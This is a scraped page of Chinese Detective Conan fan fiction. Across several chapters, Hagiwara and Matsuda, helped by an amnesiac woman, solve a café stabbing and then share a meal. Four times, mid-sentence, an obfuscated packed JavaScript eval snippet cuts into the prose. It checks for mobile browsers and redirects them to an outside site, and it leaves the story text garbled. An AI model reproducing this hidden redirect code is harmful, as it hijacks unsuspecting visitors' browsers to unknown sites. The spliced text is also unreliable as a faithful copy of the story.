萩原研二向他们说明了情况,顺便暗自观察了一下他们的神情,尤其是那位神秘出现的女性。 “……她不就是凶手吗?那里会有这么巧合的事情,一听就是临时编的啊……”岛中圣美怀疑地望着她。 “虽然确实是很巧,不过现在还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14235292|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能这么武断地判断呢。”萩原研二仔细地检查了刚刚松田阵平收起来的短刀,“而且这是不是凶器现在也说不准。这位小姐的手受伤了吧?而且还是在手心的位置,可是这把短刀的刀柄上却完全没有沾到血液——死者的伤口是在腹部,要造成那么深的伤口,仅仅只是依靠手指的力量还是很难的。” “撞到我的人也不一定是死者。”她回想了一下,当时被撞到的位置是在自己的肩膀,而且力道很大,是骨头与骨头撞在一起才有的感觉,所以撞到她的人应该和她差不多高才对。可是按照那具尸体的身高来看,他好像更高一些。 “我可以看看尸体吗?”她突然问道。 “嗯……可以,但是为了保护现场,不能靠得太近。”想了想,萩原研二还是答应了。为了确保安全,他和她一起重新到尸体附近,松田阵平则继续留在咖啡厅,看看有没有什么其他的线索。 死者的尸体离咖啡厅不远,几乎就在玻璃可以看见的视角之外一点。尸体所在的地方已经被两个警察用一些东西暂时围了起来,避免误入。隔在警戒线外面,她看到死者仰躺着,双手放在身体两侧,从腹部流出来的血已经有点干涸了,在地上留下星星点点的血迹。 好像怪怪的,但又不太清楚这种违和感来自哪里。她的目光聚集在他的伤口上,还是想不太通,决定求助专业的人员。拉了拉旁边萩原研二的袖子,她问到,“他的伤口是不是哪里不太对?” “伤口?”虽然刚刚已经和小阵平大致检查了一遍尸体,但听到她的疑问,萩原研二眯着眼睛,再一次认真地端详了起来。伤口,好像是有哪里不对…… “等一下,是伤口的形状?!” 正常的短刀匕首造成的伤口应该符合双刃刺器成伤特点,创口小、两创角为锐角、创缘整齐,无表皮剥脱。*可是他的伤口却有着细微的差别,伤口的中间向上下形成一个小小的突出,整个伤口看起来…… “好像被除了短刀匕首之外的尖锐物刺伤过。”萩原研二的眼睛亮起来,“而且,这个尖锐物的尖端面积一定要小,这样形成的伤口才会那么容易就被短刀匕首形成的伤口覆盖……” “谢谢你,要不是你观察得仔细,我们暂时都还发现不了这个细节呢!” “啊……不、没什么……” 她摆了摆手。只是本能觉得短刀造成的伤口应该不是这个样子来着……可是为什么呢?她怎么会知道短刀会造成什么样的伤口?自己以前到底是干什么的啊——不会是什么特殊危险职业吧……偷偷瞟了一眼身旁的警察,她轻咳一声,莫名有些心虚。 “喂研二,赶紧回来!”松田阵平皱着眉从咖啡厅门口探出个头,朝萩原研二招了招手。 “可能是小阵平那边也发现了什么新线索呢,我们进去看看吧。”萩原研二没发现她的小动作,友善地朝她眨了眨眼睛。 “好、好的。” 反正她现在和警察相处起来没什么敌意或惧意,应该不会是什么坏人……吧? 58.凶器与发现 新线索……倒是也有啦,不过两人没想到一进来就是这样的场景。 “我说的有什么错吗?这不是大家都知道的……” “你!” “好了好了,我们先不说这个,大家都先冷静一下。” “寺根真明,你又要护着她吗?你好好看清楚现在到底谁是你的女朋友!” “圣美……!” “……就是这样,你们出去没多久,那个叫岛中圣美的就开始抱怨。志手理子和他男友一起劝了几句,她就突然提到志手理子和死者的婚姻不是本人自愿的,怀疑志手理子也有作案动机。” 松田阵平在他们的吵闹声中抱着臂,戴上了自己挂在衣领的墨镜,眼不见心不烦,“然后他们就这样吵起来了。真是,完全听不进别人话的家伙……” “寺根真明和志手理子以前是男女朋友的关系吗?” 分析着他们争吵的声音里的内容,看来四人的关系看起来并不像表面那样简单啊……萩原研二微不可查的蹙了蹙眉,靠近松田阵平,向他说了刚刚在外面的新发现。 “一道被掩盖的伤口……?” 松田阵平的神色也凝重起来,“我这里也有一点发现。我刚刚问了店员,他说在岛中圣美和死者前后离开去上厕所之后,寺根真明也到前台点了一杯咖啡……不过之后店员忙着制做咖啡,就没有再关注他的动向了——最后咖啡做好时也是他来取走的。 “这点他之前倒是都没有提到过。” 不过仅凭这点倒还不能确定什么。那道被掩盖的伤口……到底是什么造成的呢? “所以呢!你们不是警察吗?到底能不能快一点做事啊!” 吵着吵着,岛中圣美把矛头指向了他们,“怎么就只有你们两个人?其他警察呢?” 问得好,他们也想问呢。 明明只是想趁休息日的时候出来喝杯咖啡,结果那么巧就碰到了凶杀案。咖啡店店员从刚才就已经打电话报了警,不过不知道为什么,今天出警格外的慢呢…… “啊,先不要着急嘛,这位女士……” 比较擅长应该对这种场合的萩原研二上前稳定他们的情绪,顺便去看看还能不能从他们的话里套出点什么。松田阵平看到静默地待在旁边、不知道在观察着什么的她,皱了皱眉。 他向她走去,递给她一卷纱布,“这是向咖啡店借的,你的手还是先简单地处理一下吧。” “啊,谢谢。” 她接过纱布,向他道谢。嗯……原来是那种一脸不耐烦,看起来很凶的酷哥,但其实很善良的类型吗? 面不改色的将几块扎进手心的不明材质碎片拔出来,她一边如此想到。还好扎得不是很深,而且也没有细小的碎屑,因此伤口虽然看起来很严重,但是处理起来还是很快的。 她瞥了一眼旁边的垃圾桶,犹豫了一下,还是将碎片收进了自己的口袋。不清楚自己之前到底发生了什么,才会导致她失去所有记忆——甚至包括自己的名字,但是,她的心中一直有种莫名的直觉,关于失忆的线索……说不定就藏在这些不知道是什么东西的碎片中。 “唔。” 剪刀……她握着缠好的纱布左顾右看,想找找看有没有剪刀可以把剩余部分剪开。 “你好,请问这里有剪刀之类的东西吗?” 看到萩原研二正在忙着调解因为又说错话而吵起来的那一对男女朋友,而松田阵平则自己一个人到外面去重新观察他们刚刚找到的“新伤口”,她不想麻烦他们,就自己一个人走到前台,打算向店员问问看。 “剪刀是吗?就在这里……诶?” 店员看到她手上裹着的纱布,也很热情地向她指明了剪刀的方向。因为他们平时经常会用到剪刀,店里的客人有时候也会需要剪一些东西,所以在前台一直放着一把供人取用。不过…… “好奇怪,居然不在这里吗?是不是哪个客人拿去用了还没还回来?” 店员从前台走出来,四处张望着。她跟在店员后面,也跟着找。 “啊,是这个吗?” 她看见前台桌子下面与地板的缝隙间好像有什么东西,弯下腰捡了起来。 “这个……这个不是我们店里的吧?怎么会出现在这里呢?” 店员凑了过来,顺手想从她手里接过去看看。她把剪刀刀尖朝向自己,准备递给他的时候,却突然看到了什么,动作一顿,立即移开了手,“等一下!” 因为有点激动,她的声音引起了那边的萩原研二的注意,“怎么了吗?” 她握住剪刀的刀柄,将它往两边张开,仔细地看了看两个刀刃原本合在一起的刃面以及链接的螺丝。果然…… “这把剪刀上面有血迹。” 萩原研二轻吸一口气,马上向她这边走过来。而旁边本来还在吵架的三人,应该也是听见了她的发现,跟着安静下来,眼神紧紧地盯着她这边。 “确实……” 很不显眼的一条血线,卡在刃面与螺丝的交界处,看起来应该是专门被人擦拭过的,而且还藏在那么不显眼的角落——是凶器吗? “研二,我找到……” 松田阵平刚好也闯了进来,一眼就看见他们手上握着的那把剪刀。店里面的两个人也朝他望去,看见他没说完的话里提到的东西。 啊,两把剪刀? 她挑了挑眉梢,眼神在萩原研二手里的剪刀以及松田阵平拿着的那把上面来回流转着。 “这是我在不远处的绿化带里面找到的,”应该是为了方便观察,松田阵平的墨镜又重新摘了下来,仍旧挂在衣领处,所以此刻可以清晰地读到他眼里疑惑的情绪,“你这把呢?” “这是……她找到的。” 因为现在还不清楚她的名字,所以萩原研二在回答的时候愣了一下,最后还是决定用“她”来代替。 他检查了一下松田阵平发现的那把剪刀,两把剪刀在颜色上略有区别,咖啡店里发现的那把刀柄部分是红色的,在外面绿化带里的那把则是绿色的,不过它们的整体样式很像。而且和在咖啡店里找到的那把一样,这把剪刀也是被使用过,同时被人擦拭过。 不过可能是因为卡到血线的位置不太方便,又或者是因为时间紧迫,心里紧张等某种原因,新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14266274|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现的两把剪刀都还留有一点点几乎看不清楚的、未清理干净的血迹。 那么问题来了。究竟哪一个才是真正的凶器呢?是现在正插在死者身上的那把短刀匕首,还是莫名出现在不同地方的、带着血线的剪刀?而凶手又为什么需要用到这么多工具呢? 将两把剪刀放在一起,萩原研二和松田阵平比对着,试图找到它们之间更多的区别或是联系。 “啊——小阵平有什么头绪吗?”萩原研二抓了抓自己的头发,看向旁边敛眸沉思的松田阵平。 “要是有头绪的话我早就把那个凶手抓出来了,还需要我们两人现在对着两把剪刀冥思苦想吗……” “诶,那就没办法了。” 虽然嘴上在插科打诨,不过萩原研二的眼神却没有离开过两把剪刀。 “这把绿色的是店里的吗?”他抬头向店员确认。 “啊,是、是的。” 绿色的——也就是小阵平在外面绿化带发现的那一把是原本在咖啡店里的,那么那个女生在店里发现的那把又是谁带进来的呢? 萩原研二俯下身,紫罗兰色的眼睛半掩,仔细端详着那把莫名出现的红色剪刀。 等一下……那是?! 他的眼睛陡然亮起来,“小阵平,快找找店里面有没有什么镊子之类的东西!” “哈?”虽然萩原研二的话来得突然,不过出于对幼驯染的信任,松田阵平倒也没多问什么,转身就像店员借来了镊子。 萩原研二把镊子小心地用面巾纸擦干净,从那把红色剪刀的螺丝扭合处轻轻夹出了一个什么东西。 “什么……” 他夹着的东西实在太过细小,松田阵平只能屏住呼吸凑近去看,而她站在一边,也轻轻跟着凑近了一点。 “线头……亏你能发现啊。” 是一小截肉色的线头。因为颜色和长度都难以分辨,所以刚刚他们都没有注意到它卡在螺丝里面。 “藏在这么刁钻的位置,应该不是偶然卡进去的。”萩原研二也松了口气,找了个塑封袋把它装进去,“那么,就只能是之前被使用的时候留下来的了。” 他将目光转向从刚才起就安静下来的三人,眼神在三人身上轮转了一圈,最后落在从一开始就满脸不在乎、只想快点离开的岛中圣美身上,“是不是你不小心留下的呢……岛中圣美女士?” “什么?!”岛中圣美的短发随着她猛然转头的动作轻打在她的脸上,不过她这个时候完全顾不上管她的头发,“这是什么意思?你是打算空口无凭地污蔑我吗?” “哦……我知道了,”她从自己男朋友身边退开,看了一眼从事情发生后就一直保持沉默的志手理子,又看了看直直盯着她的萩原研二和松田阵平,突然指着志手理子的鼻子,开口冷笑道,“哼,是你吧?有钱就是好啊……你给了他们什么好处,让他们来污蔑我?!” 志手理子并不理会她,又只是冷淡地移开目光。岛中圣美的男朋友上前想要拉住她,却被岛中圣美一把推开。 怎、怎么一下子就跳到伦理剧场了?在旁边静静围观一切的她露出豆豆眼。 59.真相与抉择 究竟是怎么确定嫌疑人的呢? 看着她好奇的目光,萩原研二轻咳了一声,制止了对面那三人即将再一次爆发的争吵,进一步解释他刚刚说的话。 “岛中圣美女士是一名花艺师吧?” 虽然岛中圣美没有正面回答,但看到她沉默地移开的目光,在场的人也大概能猜出答案。 这点其实是萩原研二通过她的手推测出来的。 身为家中的次子,他偶尔也会被打发去买花,在花店的时候,他曾经观察过花艺师的动作。因为需要处理植物的枝叶,花艺师常常会使用一些辅助性工具,比如剪刀、花艺刀等等,长时间的摩擦,不免在花艺师指侧和掌心留下不同程度的茧。除此之外,与不同植物打交道,枝干上的刺、薄而锋利的叶片也会在花艺师的手上留下痕迹。 在刚刚劝架的时候,岛中圣美的男朋友寺根真明为了防止她过于冲动而拉住了她的手腕,萩原研二在那时就注意到了她手上特殊的痕迹。 而那把红色剪刀上残留的一小截线头…… “那把剪刀是岛中圣美女士平时使用过的吧?如果我没猜错的话……大概是用来剪缎带之类的。”萩原研二眨眨眼,仔细观察着岛中圣美的神色。 制作花束需要绑带,为了绑出漂亮的形状,绑带的长度也需要根据花束的大小来调整。因此,花艺师常常也需要一把用来剪绑带的剪刀。 “所以呢?说了这么多,这些都是你的猜测吧?仅凭这些猜测,你又有什么理由怀疑我呢?”岛中圣美抱着臂,神色忿忿地反问。 “线索吗……可以请您把右手伸出来吗?” 因为一直在关注着她的微表情,萩原研二没有错过她猛然一缩的瞳孔。果然…… “为什么不愿意呢?是怕大家发现你没有清理干净的血迹吗?” 从刚才开始他就觉得不对劲。 虽然现在是冬天,可是咖啡店也考虑到了这种情况,一旦将店门关上,店内开开着暖气,就十分暖和。他和小阵平进进出出好几次,都把自己身上穿着的外套脱下来了,更不用说一直待在店里,刚刚还吵了好几架的这三个人了。而在这样的情况下,岛中圣美却一直将自己的袖子往下拉,好像很冷的样子。 要不然就是真的非常怕冷,要不然就是想掩盖什么……刚好可以趁这个机会诈一下,看来确实是一个意外的发现,进一步验证了“她心里有鬼”这个想法。 松田阵平看岛中圣美低着头迟迟没有动作,上前一步想要验证萩原研二的想法。然而一直表现得急切暴躁的岛中圣美现在却突然冷静了下来,后撤一步躲开他的手,“没错,人确实是我杀的。” 这、这就承认了……?“初来乍到”的她微微睁大眼睛,看着岛中圣美崩溃地捂住自己的脸,流着泪坦白了自己的罪行。 “都怪那家伙……他死得活该!明明只是在上大学的时候向他借了一点钱,明明他也不缺钱,为什么、为什么要这么逼我?” 听起来就是一个糟糕的故事。 萩原研二说的没错,岛中圣美确实是花艺师。从小就怀着“成为花艺师”这样的梦想,她踏入了大学,并在一次联谊会上结识了志手理子、寺根真明以及死者织隆士。四人渐渐熟识之后,织隆士知道了她的梦想,也知道她的家境并不足以支撑她在这里开一家属于自己的花店,就主动提出要借钱给她。 岛中圣美一开始以为这是实现自己梦想的开端,可是没想到,这其实是噩梦的开端。 原来实现梦想并没有自己想象的那么简单,她怀着一腔热血,却撞得头破血流。一开始的本金已经消耗完了,但是却没有赚回来多少。在织隆士提出可以继续借给她钱之后,原本还在犹豫要不要继续的岛中圣美选择再一次进行尝试。 “我也不知道为什么莫名其妙地就向他借了那么多钱……我一开始只是想着只要能够回本,就把赚到的钱还给他的,可是借的钱,加上利息,就变成了一个对我来说完全不可能实现的数字。” 织隆士明明不缺钱啊,为什么要催得那么紧呢?不仅他自己来催,还叫专门的催债人员来堵她的门,原本稍有起色的花店就这样又一次沉寂了下去。 “……所以,在理子提出今天再在老地方聚一次的时候,我带上了自己店里的剪刀。我本来也没想要真的杀他的,可是他又一次在卫生间堵住了我,又一次催促我还钱……还钱、还钱,我都告诉他了,如果有钱我就马上还啊,为什么就不能给我一点时间呢?” “我这样问他,可是,你们知道他说了什么吗?” 岛中圣美将捂着脸的手放下来,紧紧地盯着自己掌心纷乱的掌纹,它们交错着,就像她当时听见织隆士的回答时的心绪一样杂乱。 “‘我就是故意的啊,你不觉得这样的你看起来很可怜,也很有趣吗?’”她毫无感情地重复出他当时对她说的话,甚至还能回忆起他当时恶劣玩味的眼神,“在听到这句话的时候,我也不知道我都想了一些什么,等我再回过神的时候……那把剪刀就已经插进去了。” 她无法形容在那一瞬间自己的心情是什么样的。害怕,震惊,释然,庆幸,甚至是侥幸,又或者都有吧,不过,她并不后悔自己做出了这样的选择。 “或许是心存侥幸吧,可是我不想我的人生悔在这样一个人渣身上。”讲到这里,她也冷静了下来,不顾旁边用复杂的眼神盯着她的寺根真明和志手理子,她拉开一把椅子,将自己摔了进去,顺便接过那个不认识的女生递给她的面巾纸擦眼泪,一边继续讲述她后面所做的事情。 “所以,我必须要做出掩盖。因为在大学的时候我们就经常来这里,所以我知道前台有一把和我带来的差不多形制的剪刀,在他们没注意到的时候,我偷偷换了两把剪刀,并且处理了我的那把,将它扔到前台的柜子缝隙里。” “在做完这一切之后我换上织隆士暂时还没沾上血的外套,打算通过后面的暗门将他的尸体送到外面,并伪装成他的样子在玻璃窗外走过。这时候,我发现他的外套里有一把匕首,我就想到,用他自己的东西会不会更隐蔽一点呢……说不定、说不定能帮我多拖延一点时间,所以我最后还是决定把剪刀换成他自己的匕首,伪装了伤口。” 岛中圣美的眼神在萩原研二与松田阵平的脸上停留了几秒,又黯然地转开。 “在外面,我不小心撞到了一个人,她看起来很虚弱,也是我不认识的人……我一时冲动,就把匕首偷偷塞进了她的口袋里。就是这样了。” 说完这些,岛中圣美也长呼一口气,靠在椅背上,一脸释然。 就这样结束好像也挺不错的。她自己做下的事情,就让她自己来承担吧……虽然最后看来,她的人生好像还是被那个人渣给毁了啊。 听完了所有的故事,萩原研二和松田阵平对视一眼,都从彼此的眼中看到复杂的神色。 在他人的人生中,他们没办法,也没有资格去判断谁对谁错。但是作为警察,他们应该做的就是承担起属于他们的责任,找出所有的真相,然后交由法律来审判这一切。 而现在…… “那把匕首,应该不是死者织隆士的吧。” 出现的时机不对,叙述的前后逻辑有断层。在讲述其他几件事情的时候都沉浸在自己的回忆中,唯独提到匕首时与他们产生了短暂的眼神交流。 能让她如此帮着掩盖的、能为她提供这样一个时机的……就只有她了。 “志手理子女士。” 一直在旁边默默无闻地听着岛中圣美叙述的她突然清晰地吐出了这个名字。见大家的目光在一瞬间都落在自己身上,她轻轻歪了歪头,疑惑不解地回望。 听见自己的名字从她的口中被念出,一直保持情绪稳定、在今天所有人看来与岛中圣美关系最差的志手理子轻轻掀起眼帘。 “哈,开什么玩笑啊,警官先生?”岛中圣美抱着臂,一脸不屑地望向萩原研二和松田阵平,“我和她什么关系?我怎么可能跟她合作呢?” 在她试图撇清关系的时候,其实也正是暴露的时候吧。 看见那位“无名小姐”对岛中圣美的话没有反应,又垂下纤长的睫毛,恢复了一副神游天外的样子,不再理会由她扔下的那颗惊雷,萩原研二在心里默默叹了口气。 看起来也是一副捉摸不透的样子呢……嘛,这件事之后再说,现在最要紧的还是找出所有的真相。这样想着,他把思绪收回眼前。 岛中圣美此刻也反应过来她的话对于“关系很差”的两人来说确实有点多余,皱了皱眉,指甲无意识地刺入掌心。 “……如你们所见,警官,我确实是帮凶。” 志手理子也知道现在的沉默只是无用的拖延,顿了顿,还是决定将真正的事实如实告知。 她与织隆士家世相当,而在她的这一辈,除了自己,还有一个兄长和一个弟弟。作为被夹在中间的次女,对她的家族来说,她最大的作用或许就是联姻了吧。 可是作为一个与织隆士从小一起长大的人,她怎么会不知道他的为人呢?嫁给这样的一个人,和自己跳进火坑里有什么区别吗?可是在庞大的家族面前,她无法反抗,似乎也不能反抗。因此,隐忍与明哲保身是她在成长过程中学会的两件事情。 直到……她知道了织隆士对岛中圣美所做的事情。作为在大学就相识的人,她知道岛中圣美的性格,也知道织隆士这样做可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272411|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带来的后果。 不过她并没有提醒。 为什么要提醒呢?这是一个绝佳的机会……绝佳的彻底摆脱织隆士的机会,不是吗? 所以,在矛盾激化到最严重的时候,她找到了岛中圣美,为她提供了这样一个合适的、可以解决恩怨的场合。 而且,她也做了二手的准备。她自己带上了一把匕首,如果岛中圣美没有那个决心解决他,那么就由她亲自来——当然,以上的这些,志手理子在之前并没有告诉岛中圣美。在当时的她看来,他们、所有的一切,都只是她逃离火坑的棋子。 可是在织隆士跟在岛中圣美后面的时候,志手理子又犹豫了。 “坐在那里,我想着,这样像什么呢?明明在那个家族里,我是最厌烦这些相互利用、勾心斗角的事情的人,可是为什么在我想逃离的时候,我却发现自己也已经变成了这样的人呢……” 所以,她以想换一杯咖啡为理由,支走了寺根真明。可是当她匆匆赶到卫生间附近时,织隆士已经死了。 “或许……这也是天意?可是当时的我来不及想这些了。”志手理子自嘲地轻扯了自己的嘴角,又继续说道,“用剪刀……不管是那一把,岛中圣美自己带过来的也好、店里的这把也好,指向性都太明显了。所以我就用自己带来的这把匕首掩盖了他原来的伤痕。” 不管怎么说,最终岛中圣美还是替她杀了织隆士,解放了她,那么她也必须为岛中圣美做一点事情,就当是……慰藉自己仅存的一点良心也好。 “之后的事情,就跟她说的差不多了。因为前面有寺根真明,我不能离开太久,只能急匆匆地赶回去。由于太过匆忙,这两把剪刀也没有彻底处理干净,最后才被你们抓住了漏洞。” 结束了。 志手理子按住自己突突直跳的太阳穴,闭上眼睛,隔绝了周围复杂的目光。 织隆士死了,她没有亲自动手,顶多只能算是帮凶,根据法律也不会判她太重的处罚。一切好像都在按照她的计划运行,可是……心里却好像有一个巨大的漏洞,只剩下空荡的、阴冷的气息在其中盘旋。 一时之间,在这小小的咖啡店里,却没有任何一人在说话。在这样的困境面前,好像一切的语言都是苍白无力的。应该怎么做、怎么做才是对的,才不会让自己后悔……没有人可以给出答案,包括亲历者。 无辜或是该死,利用或是被利用,当你真正踏上那条钢丝时,才会发现不管前进或是后退,你都会掉下去。 窗外寒风呼啸着吹过,将警车停下时扬起的粉尘吹走。松田阵平转过头,余光看见那个一直没有告知他们姓名的女生靠在窗边,咖啡店外招牌上点缀的一圈五颜六色的假花倒映在她蜜色的眸子里。 —— 等做完笔录出来,天早就已经黑了。 她从警视厅门口走出来,摸了摸自己的肚子,把身上的衣服裹得更紧了一些。 身无分文啊……这要怎么生活下去呢?鸢尾陷入了沉思。 是的,刚刚在警视厅,面对自己的一问三不知,和自己一样疑惑的警察通过这里的人口系统,帮她解决了一件大事——也就是,她终于知道了自己的名字叫什么。 可喜可贺,可喜可贺。 不过……结城鸢尾?总感觉哪里怪怪的。念到“结城”两个字的时候总有一种恶寒的感觉,但是念到“鸢尾”的时候倒是挺熟悉的。 “结城小姐?” 啊,就是这种难受的感觉…… 鸢尾悄悄打了个冷颤,转过身,向身后两位熟悉的警察解释,“晚上好……那个,不知道为什么,叫我的姓氏总感觉有点奇怪呢。如果不介意的话,你们叫我鸢尾就好了。” “啊……好,鸢尾,”萩原研二顺从地改口,“你待会儿还有什么事情吗?我和小阵平现在正打算一起去吃饭,不如我们请你吧?多亏了你发现的伤口,否则案件可能还没办法这么快就被解决呢。” “好,谢谢你们。” 虽然她觉得自己并没有帮上什么大忙——就算当时她没有发现伤口的不同,在后面的尸检应该也能找到差异。不过……对于一个身无分文的人来说,一顿饭的吸引力实在太大了,毕竟吃了这一顿可能就没有下一顿了。 谢谢你们,你们真是好人。等我恢复了记忆……一定多还你们几顿饭! 虽然在心里胡思乱想着,但鸢尾表面上还是十分正经地加入他们。 “鸢尾有什么想吃的吗?”萩原研二绅士地问道。 “不,我都可以的。” “那小阵平呢?” “你来决定就好了。” “诶……把这个难题抛给我了吗?” 60.疑问与重逢 带着两个完全提不出意见的人,萩原研二最后还是决定到烤肉店去。 天色已经完全暗下来了,街上的路灯点亮了暖黄色的光,静静地透过店里的竹帘洒进来,与屋内的灯光融在一起。外面偶尔有一两道匆匆路过的身影,悄悄遮住竹帘透进来的光,又很快悄无声息地离开。 等服务员将几人点好的肉类摆上来,萩原研二和松田阵平自觉接过了烤肉的“大任”。被切成片的肉肥瘦相间,薄厚适宜,一碰上被烧热的铁板就发出“滋滋”的声音,随即传来一阵令人食指大动的肉香。 这家店的顾客挺多,可能又刚好碰上了晚餐时段,店铺里面坐着不少人。不过店里的座位之间都隔得很远,因此也只能听见隐隐约约的人声,不太吵闹却刚好增添了一点人间的烟火味。 “说起来,鸢尾也很敏锐呢。”萩原研二将第一片烤好的肉放入她的盘子里,认真地称赞道,“不仅很快就发现了伤口的异样,在推理的时候反应也很迅速呢。” 对于岛中圣美下意识反驳的话,其中蕴含的维护之意确实与她之前的表现相悖,不过鸢尾在当时那样与他们都不熟的情况下,还能立刻反应出来、抓住她语言里的漏洞,这样的表现着实让他都吓了一跳。 “啊,那个啊……”鸢尾偷偷将肉片用筷子夹起来一点,试图通过这样的方式让它更快的降温、因此可以更快地把这块香喷喷的肉塞进自己嘴里,一边想了想,不确定地回复道,“其实我也不太清楚怎么回事——感觉更像是……一种直觉?” “直觉吗?”萩原研二挑了挑眉,略显意外,“我还以为会与你的职业有关,比如说是侦探、悬疑小说家之类的,所以才会这么敏感。不过是因为直觉,听起来就更酷了呢!” 听到这话,鸢尾借着咀嚼的动作犹豫了一下,凭着内心的直觉和考量,最后还是决定向两人坦白,“我之前是什么职业……说实话,我现在也想不起来了。在我意识恢复的那一秒,啊,就是在你们看到我的那条巷子里,我就记不清自己之前发生过的所有事情了。” “失忆?!” 这下,连一旁安静烤肉,因为懒得社交所以只是竖着两只耳朵在听的松田阵平都惊讶地将视线转了过来。虽然在之前与她的接触中就有所猜测,不过看到她就这样直白地说出来、现在还在淡定吃肉的样子……两人还是觉得很魔幻。 所以,真的会有人知道自己失忆了还能这么冷静淡定吗?还就这么跟着两个只是相处了半天的成年男性单独出来? “那、那你接下来打算怎么办?”萩原研二能说会道的嘴竟然一时也有点卡壳,“你的头会不会疼呢?要不还是去医院检查一下吧,看看会不会是头部哪里受伤才会导致突然的失忆。” “嗯……应该不用吧。”鸢尾晃了晃自己的头感受了一下,没有任何特殊的感觉。而且先不说她有没有钱去医院检查,她的脑中也一直有种预感——这样的失忆应该不是医院能解决的情况。 “真的不用吗?”萩原研二还是用一种略显担忧的眼神看着她,不过看到她坚定拒绝的眼神,以及现在确实没有什么不适的症状,叹了口气,“好吧。如果你后面有需要的话,可以来找我们——对了,我们要不加个联系方式吧?” 毕竟是他们是警察,而且她与他们这么有缘,还帮了他们一个大忙,萩原研二觉得他们能帮还是得帮一下的。 “联系方式?” 鸢尾看着萩原研二从口袋里拿出手机递到她面前,也跟着在自己的口袋里翻找了一下,不过除了之前放进去的那一小撮不明材质的碎片之外,就没有再找到什么东西了。 “我身上……好像也没有带着这个?”她不确定地说道。 嘶—— 萩原研二和松田阵平对视一眼,暗自在心里吸了口凉气。 现在竟然还有出门连通讯设备都不带的吗?她到底遭遇了什么啊? “啊,肉要烤焦了!” 被污蔑的时候都听不到她的声音里有这么着急的情绪…… 虽然相处了不过半天多一点的时间,但松田阵平觉得她身上好像确实有很多需要吐槽的地方。不过出于礼貌,他自觉地把想说的话咽了回去,低下头冷静地把烤肉翻了个面。 “没关系,总会有解决办法的。总之——我们现在要不还是专心先吃肉吧?”鸢尾期待地眨了眨她亮晶晶的蜜色眼睛。 萩原研二失笑,从善如流地应下来,“好的。” 当事人都这么放松,他也就不揪着这样的心了。看着她认真享受眼前美食的样子,总感觉自己的食欲也跟着被调动起来了呢。 …… 虽然说着“不要辜负烤肉”这样的话,但实际上鸢尾也没吃多少。等她放下筷子的时候,萩原研二还惊讶地看了她一眼,“你这样就饱了吗?还可以再多吃一点哦,既然说了要请你,就不用替我和小阵平省钱了。” 鸢尾摇摇头,表示自己已经非常饱了。 松田阵平狐疑地瞟过来一眼,对上她示意“你们继续”的目光,微微蹙了蹙眉。 “我出去外面透透气。” 自己一个已经吃饱的人还待在里面,那两个没吃饱的人应该感觉会有点尴尬。再加上因为人很多,屋子里弥漫着一股烤肉的油香味,对于没吃饱的人来说是很幸福的味道,可是对于已经快吃撑的人就不那么友好了,于是鸢尾决定出去门口待一会儿,顺便消消食。 “好。” 看她自己一个人走出去,靠近窗户的萩原研二把竹帘拉开一点,维持在一个可以随时关注到外面状况,又不会让外面的人感觉自己被盯着而不适的程度。 “小阵平怎么看呢?” “……还是感觉很奇怪。”松田阵平又挑了一块肉放到铁板上,敛下眸子看着它往外微微冒着油花,“她出现在那条巷子里的时候,周围却完全没有人注意到有什么动静……失忆的事情也挺奇怪的,但是她的表现又很正常?” “确实是这样呢。”萩原研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304607|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二也跟着点了点头,补充道,“而且,总感觉她的一些小习惯……嗯,怎么说呢?” 找不到合适的词来形容,萩原研二歪着头看了松田阵平一眼,也从他的眼里看见了了然。 怎么形容呢……大概就是一种,在小细节上已经习惯了别人帮她妥善安排好,但实际上却很有自己的判断力,而且又很平易近人的感觉?从刚刚吃烤肉就可以看出来,平时像烤肉之类的一些琐碎小事,她应该都没有自己动手过,表现得很自然;而在别的事情上却又有那样的感知力…… “嘛,不管怎么说,现在没有什么事就好了。”萩原研二倒是不打算过多深究。他的直觉一向蛮准的,在与她相处的时候,他感觉挺舒服的,危险的雷达一直没有动过。 